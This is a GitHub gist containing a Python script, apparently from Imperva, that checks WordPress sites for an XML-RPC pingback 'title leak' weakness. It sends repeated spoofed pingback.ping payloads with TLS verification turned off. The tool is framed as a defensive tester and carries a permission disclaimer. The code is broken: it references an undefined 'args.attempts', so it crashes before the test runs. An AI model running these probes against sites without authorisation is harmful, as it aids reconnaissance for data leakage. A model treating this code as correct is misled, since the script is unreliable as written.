-
-
Save yohannslm/478a08dcd166547f496a8398040fc339 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| """ | |
| # MIT License | |
| # Copyright (c) 2025 Imperva | |
| # See the LICENSE file for details. | |
| ==================================================================================== | |
| WordPress XML-RPC Title Leak Vulnerability Tester | |
| ==================================================================================== | |
| This script evaluates whether a given WordPress site is vulnerable to | |
| the XML-RPC Title Leak attack. The attack allows an attacker to | |
| abuse the `pingback.ping` method in XML-RPC to leak the titles of private and draft posts. | |
| DISCLAIMER: | |
| -------------------------------------------------------------------------------- | |
| This script is for **educational and security testing purposes only**. | |
| You must have **explicit permission** from the site owner before using it. | |
| Unauthorized testing may be illegal. Use responsibly. | |
| ==================================================================================== | |
| """ | |
| import requests | |
| import argparse | |
| import random | |
| import string | |
| import urllib3 | |
| import concurrent.futures | |
| import sys | |
| from tqdm import tqdm | |
| # Suppress only the InsecureRequestWarning from urllib3 | |
| urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) | |
| def generate_random_fragment(length=6): | |
| """Generate a random URL fragment like #abcd12.""" | |
| return "#" + ''.join(random.choices(string.ascii_letters + string.digits, k=length)) | |
| def send_pingback_request(url, legit_domain): | |
| """Send a single pingback request and return the result.""" | |
| endpoint = f"{url.rstrip('/')}/xmlrpc.php" | |
| fragment = generate_random_fragment() | |
| source_url = f"https://{legit_domain}/post{fragment}" | |
| target_url = f"{url.rstrip('/')}/fake-target" | |
| xml_payload = f""" | |
| <?xml version="1.0"?> | |
| <methodCall> | |
| <methodName>pingback.ping</methodName> | |
| <params> | |
| <param><value><string>{source_url}</string></value></param> | |
| <param><value><string>{target_url}</string></value></param> | |
| </params> | |
| </methodCall> | |
| """ | |
| headers = {"Content-Type": "text/xml"} | |
| try: | |
| response = requests.post(endpoint, data=xml_payload, headers=headers, timeout=5, verify=False) | |
| return response.status_code == 200 | |
| except requests.exceptions.RequestException: | |
| return False | |
| def test(url, legit_domain, attempts=10, max_workers=5): | |
| """Evaluate if an endpoint is vulnerable to the attack using concurrent requests.""" | |
| results = [] | |
| with concurrent.futures.ThreadPoolExecutor(max_workers=max_workers) as executor: | |
| # Create the tasks | |
| futures = [ | |
| executor.submit(send_pingback_request, url, legit_domain) | |
| for _ in range(attempts) | |
| ] | |
| # Process the results as they complete with a progress bar | |
| with tqdm(total=attempts, desc="Testing vulnerability", unit="request") as progress: | |
| for future in concurrent.futures.as_completed(futures): | |
| results.append(future.result()) | |
| progress.update(1) | |
| # Return True if all requests were successful (indicating vulnerability) | |
| return all(results) and len(results) > 0 | |
| if __name__ == "__main__": | |
| parser = argparse.ArgumentParser(description="Test if your site is vulnerable against title leak attack.") | |
| parser.add_argument("-u", "--url", help="The base URL of the WordPress site you want to test (e.g., https://mywpsite.com)") | |
| parser.add_argument("-l", "--legit_domain", help="A legit domain to be used as fake source for the XMLRPC message. By default, example.com", required=False) | |
| args = parser.parse_args() | |
| if not args.url: | |
| parser.print_help() | |
| sys.exit(1) | |
| domain = args.legit_domain if args.legit_domain else 'example.com' | |
| print(f"Testing {args.url} with {args.attempts} concurrent requests...") | |
| if test(args.url, domain, attempts=10, max_workers=3): | |
| print("\n[!] VULNERABLE: Your site is not protected against XML-RPC title leak attacks") | |
| else: | |
| print("\n[✓] PROTECTED: Your site properly rejects suspicious XMLRPC payloads.") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment